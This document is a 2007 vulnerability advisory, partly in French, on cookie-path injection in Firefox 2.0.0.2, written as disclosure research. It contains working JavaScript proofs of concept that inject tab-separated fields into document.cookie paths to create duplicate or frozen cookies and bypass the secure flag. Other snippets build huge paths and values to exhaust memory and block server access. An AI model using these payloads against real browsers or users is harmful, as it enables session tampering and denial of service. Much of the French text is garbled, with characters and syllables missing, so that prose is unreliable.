source: http://www.securityfocus.com/bid/22879/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability.

An attacker may exploit this vulnerability to cause Mozilla Firefox to crash, resulting in denial-of-service conditions.

Little is known regarding this vulnerability; this BID will be updated when more information is disclosed.

Mozilla Firefox 2.0.0.2 is prone to this issue; other versions may also be affected.

Attackers may be able to bypass cookie domain and path restrictions, but this has not been confirmed. 

____________________________________________________________________________________________________

Mozilla Firefox ('document.cookie') Path Argument Multiple Vulnerabilities
____________________________________________________________________________________________________

Advisory   : ADV001a
Risk       : Moderate
Credit     : Nicolas DEROUET (nicolas.derouet[gmail]com)
Date       : 2007-03-08		  
Software   : Mozilla Firefox version 2.0.0.2 (Other versions or products may be also affected)
____________________________________________________________________________________________________

I think identify multiple vulnerabilities in Mozilla Firefox (default installation) which could be
exploited by malicious users to bypass the same origin policy, cause a denial of service and
conduct other attacks by writing the path of 'document.cookie' with tabulations or/and a large size.



Description (in French, sorry)
User Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2
____________________________________________________________________________________________________
 
#1 Introduction
____________________________________________________________________________________________________

Un cookie, dans le fichier 'cookies.txt', est compose sept champs : le domaine du cookie, le
drapeau pour savoir s'il peut e lu par les autres machines du m domaine, le chemin (path), 
le drapeau de sritla date d'expiration, le nom du cookie et la valeur du cookie.

Si nous extons ce code JavaScript :
  URL         : http://127.0.0.1/
  JAVASCRIPT  : document.cookie = 'DEMO=A; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';

Nous obtiendrons ceci dans le fichier 'cookies.txt' :
  COOKIES.TXT : 127.0.0.1  FALSE / FALSE 1181270854  DEMO  A

Dans cette analyse, nous allons nous intssarticuliment au 'PATH' du cookie.

  
  
     
____________________________________________________________________________________________________
 
#2 Injection de donnavec la variable path
____________________________________________________________________________________________________


a) Prntation
---------------

Les champs dans le fichier 'cookies.txt' sont srpar des tabulations (\t or \x09) hors le
'PATH' dans 'document.cookie' autorise l'utilisation des tabulations.

Par exemple, en modifiant le 'PATH' avec cette valeur '/\x09FALSE\x091188777601\x09B\x09123', 
j'obtiens ceci (mon cookie d'origine a pour valeur est 'DEMO=A')


  URL         : http://127.0.0.1/index.htm
  JAVASCRIPT  : document.cookie = 'DEMO=A; domain=127.0.0.1; path=/\x09FALSE\x091188777601\x09B\x09123; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
  COOKIES.TXT : 127.0.0.1 FALSE / FALSE 1188777601 B 123 FALSE 1181270854 DEMO A
                                ^----------------------^                   |   |
                                     PATH INJECTION                     NAME   VALUE


Sur cette page http://127.0.0.1/index.htm, la valeur de 'location.pathname' est le /'. Donc,
mon cookie est inutilisable (pour le moment) car je me situe au mauvais chemin (PATH). 
 
En redrrant mon navigateur, je peux voir que mon cookie est utilisable sur la page 
http://127.0.0.1/index.htm, il s'est transformour devenir 'B=123 FALSE 1181270854 DEMO A'.


  COOKIES.TXT : 127.0.0.1 FALSE / FALSE 1188777601 B 123 FALSE 1181270854 DEMO A  
                                |                  | ^-------------------------^ 
                             PATH               NAME           VALUE

 
Pour conclure, nous pouvons voire que n'importe quelle utilisateur malicieux peut mettre ce code
en place trfacilement et que ce code prnte peu de danger dans ce contexte car il modifie la
variable cookie de son propre domaine.


 
b) Crion de cookies identiques 
---------------------------------


Si nous extons ce code :
  document.cookie = 'id=6; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';  
  document.cookie = 'id=7; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';  
  document.cookie = 'id=8; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
  document.cookie = 'id=9; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';

Nous aurons uniquement un seul cookie avec une variable id . Par contre avec la
vulnbilitrnti-dessus, nous pouvons cr plusieurs cookies identiques.
Voici un code d'exemple :


  URL         : http://127.0.0.1/index.htm 
  JAVASCRIPT  : 
    document.cookie = 'B=123\x09FALSE\x091188777601\x09id\x098; domain=127.0.0.1; path=/; expires=Wed, 05-Sep-2007 01:00:00 GMT;';
    document.cookie = 'id=8; domain=127.0.0.1; path=/\x09FALSE\x091188777601\x09B\x09123; expires=Mon, 03-Sep-2007 00:00:01 GMT;'; 
  COOKIES.TXT :
    127.0.0.1 FALSE [/] FALSE 1181270854 [B] [123 FALSE 1181270854 id 8]
    127.0.0.1 FALSE [/ FALSE 1181270854 B 123] FALSE 1181270854 [id] [8] 


En redrrant le navigateur, nous aurons deux cookies identiques.
Prenons maintenant un deuxi exemple,


  URL         : http://127.0.0.1/index.htm 
  JAVASCRIPT  :  
    document.cookie = 'BUG=YES; domain=127.0.0.1; path=/\x09FALSE\x091188777601\x09PREF\x092; expires=Mon, 03-Sep-2007 00:00:01 GMT;';  
    document.cookie = 'PREF=1; domain=127.0.0.1; path=/; expires=Wed, 05-Sep-2007 01:00:00 GMT;';
  COOKIES.TXT :
    127.0.0.1 FALSE [/] FALSE 1181270854 [PREF] [1]
    127.0.0.1 FALSE [/ FALSE 1181270854 PREF 2] FALSE 1181270854 [BUG] [YES]
    
    
Si on redrre le navigateur, 'document.cookie' donnera 'PREF=1; PREF=2 FALSE 1188777601 BUG YES'.
Nous allons maintenant modifier le cookie PREF (je rappelle que nous avons deux cookies avec un
nom identique 'PREF')


  URL         : http://127.0.0.1/index.htm
  JAVASCRIPT  :
    document.cookie = 'PREF=3; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
  COOKIES.TXT :
    127.0.0.1 FALSE / FALSE 1181270854 PREF 1
    127.0.0.1 FALSE / FALSE 1181270854 PREF 3     


A ce moment, 'document.cookie' est le PREF=1; PREF=3'. Nous pouvons voir que la modification
de la valeur cookie 'PREF' impacte sur une seule valeur et non sur les deux. J'ai voulu savoir 
comment  interpr la valeur du cookie du coterveur (exemple PHP) et du cotlient. 
Pour le cotlient, j'ai rp sur internet une fonction JavaScript qui permet de rpr la
valeur d'un cookie passn parame.

  JAVASCRIPT (cotlient)
    function getCookieVal (c_name)
    {
      if (document.cookie.length>0)
      {
        c_start=document.cookie.indexOf(c_name + "=")
        if (c_start!=-1)
        { 
          c_start=c_start + c_name.length+1 
          c_end=document.cookie.indexOf(";",c_start)
          if (c_end==-1) c_end=document.cookie.length
          return unescape(document.cookie.substring(c_start,c_end))
        } 
      }
      return ""
    }

  PHP (coterveur)
    <?php
      echo $_COOKIE['PREF'];
    ?>
    
Gralement ils prennent la premi valeur qu'il trouve. Ces deux cas me disent que la valeur de 
PREF est 1. Ainsi malgres modifications apport a valeur de PREF (mise a valeur 3), elle
sera trsouvent interpre du cotlient et du coterveur comme ayant la valeur 1.

Nmoins, si on redrre le navigateur alors document.cookie donnera 'PREF=3; PREF=1' et la 
fonction getCookieVal('PREF') donnera '3' avec aucune possibilite modifier la valeur de 3.

Notre exemple ici n'est pas trop dangereux et n'est pas complment dramatique mais avec des
autres variables tel que les prrences (par exemple : notre panier pour des sites commerciaux), 
le PHPSESSID, etc. cela pourrait devenir trennuyeux pour un utilisateur.


 
c) By passer la restriction SECURE
-----------------------------------

Admettons que nous sommes sur le site http://www.monsite.fr/, il est normalement interdit de cr
un cookie avec l'option secure (option rrvpour les protocoles sriscomme HTTPS)

  URL        : http://www.monsite.fr/index.htm
  JAVASCRIPT : 
    document.cookie = 'PREF=1; domain=.monsite.fr; path='/'; expires=Mon, 03-Sep-2007 00:00:01 GMT; secure;';

Le rltat est impossible.
Cependant gr 'injection dans la variable 'PATH', nous pouvons cr un cookie afin de sauter
cette restriction. 

  URL        : http://www.monsite.fr/index.htm
  JAVASCRIPT :
    var path = '/\x09TRUE\x091188777601\x09PREF\x092'; // TRUE = secures
    document.cookie = 'PREF=1; domain=.monsite.fr; path='+path+'; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
  
Dans l'exemple ci-dessus document.cookie donnera 'PREF=2 FALSE 1188777601 PREF 1'.
L'injection de donn par le 'PATH' ne nous donne pas la possibilite donner une valeur souhaitotre cookie car les vrais arguments ( FALSE 1188777601 PREF 1) vont se greffer a fin.

Cependant, notre cookie pourrait trbien aser et figer la valeur (cf #1b) d'un cookie srisrartir de httpS://www.monsite.fr/ ou httpS://sous.domaine.monsite.fr/. 



d) Conclusion
-------------

Nous pouvons voir ci-dessus une liste non-exhaustive d'exemples qui permettent d'exploiter cette
faille. Avec d'autre exemple, j'ai pu interagir sur le gestionnaire de cookie (cookie manager) afin
de ne pas afficher les valeurs d'un cookie spalement conou de rendre impossible la suppression
d'un cookie avec l'option 'Supprimer le cookie' ou la touche supprimer. Je n'ai pas pousses tests
plus loin mais je me pense qu'il y a une multitude d'utilisation possible surtout additionner avec 
une autre vulnbilitmportante prntdans le paragraphe suivant ...




____________________________________________________________________________________________________
 
#3 Aucune restriction de taille pour 'PATH'
____________________________________________________________________________________________________

A y rir, j'aurais du appele paragraphe : "Manger de trop gros cookie fait grossir !".  

Firefox ne donne aucune limite de taille pour la variable path dans le document.cookie, ce qui 
permet de cr des cookies de trgrande taille.
 
Cette vulnbiliteut provoquer et e utiliser pour des attaques de type d de service (DoS)
de diffnte fa :

  1) Direct, on alloue un grand nombre de donn nous avons un DoS (exemple ci-dessous)
  2) Indirect, on crplusieurs cookie de moyenne taille
     nous aurons un espace disque utilist quand firefox redrrera
     il utilisera une grosse partie de la mire pour les cookies.  
  
  URL        : http://127.0.0.1/index.htm
  JAVASCRIPT :  
    var path = '/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'; // 32
    for (i=0; i<24; i++) { path = path + path; }   // 32 x 2^22 = 536 870 912 
    document.cookie = 'SIZE='+path.length+'; domain=127.0.0.1; path='+path+'; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
    alert ('Cookie : ' +path.length+' octets');
  
En modifiant le code (la valeur limite de i 1), j'ai rsi r un cookie de 124 Mo sur mon
ordinateur et j'ai pu constater que Firefox utilislus de 124 Mo de mire.




____________________________________________________________________________________________________
 
#3 Utilisation des deux vulnbilit____________________________________________________________________________________________________

Gr es deux vulnbilit nous avons la possibilite dsser les restrictions de taille
sur les champs suivants : le chemin (path), le drapeau de sritla date d'expiration, le nom
du cookie et la valeur du cookie.

Prenons un exemple avec le nom et la valeur du cookie,

La somme de la taille des variables NOM et VALEUR d'un cookie est limit096 caracts.
En injectant des donn dans ces variables, nous pouvons leur attribuer une valeur supeure eur taille maximale autoris Dans l'exemple, ci-dessous on injecte plus de 65536 caracts.
Lorsqu'on redrrera le navigateur, afin que la valeur du cookie soit active, nous ne pouvons plus
nous connecter sur le serveur car l'argument cookie de notre requ HTTP est trop grand.
(sympa pour des admins qui veulent bannir certains utilisateurs :)


  var data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; // 32
  for (i=0; i<11; i++) { data = data + data; }   // 32 x 2^11 = 65536 
  var path = '/\x09FALSE\x091188777601\x09DATA\x09' + data;
  document.cookie = 'DEMO=7; domain=127.0.0.1; path='+path+'; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
  alert ('Cookie Data is injected ! Please restart Firefox.');
  



____________________________________________________________________________________________________

#4 Existe t-il un risque overflow ?
____________________________________________________________________________________________________

Sincment, je ne me suis pas penchur cette question a recherche de code qui permettrait de
dntrer l'utilisation d'un overflow. Je pense que les vulnbilitprnt ont dntrue nous pouvons autoriser certains champs (5 champs) sser leur taille normale gr 'injection de donn dans la variable 'PATH'. Cependant, si un overflow peut e utilisans
cet exemple, il pourrait s'activer au drrage de Firefox.

NB: Si vous rsissez ntrer l'utilisation d'un overflow merci de me tenir informer.
    (nicolas.derouet[gmail]com)



____________________________________________________________________________________________________

#5 Solution
____________________________________________________________________________________________________

Les solutions sont assez simples.

Pour la premi vulnbilitil faudrait e plus restrictif sur les caracts autorisdans
les diffnts champs du document.cookie par exemple interdire les tabulations pour le 'PATH'.

Pour la deuxi vulnbilitil faudrait limiter la taille du 'PATH'. 




Nicolas DEROUET (nicolas.derouet[gmail]com)
____________________________________________________________________________________________________

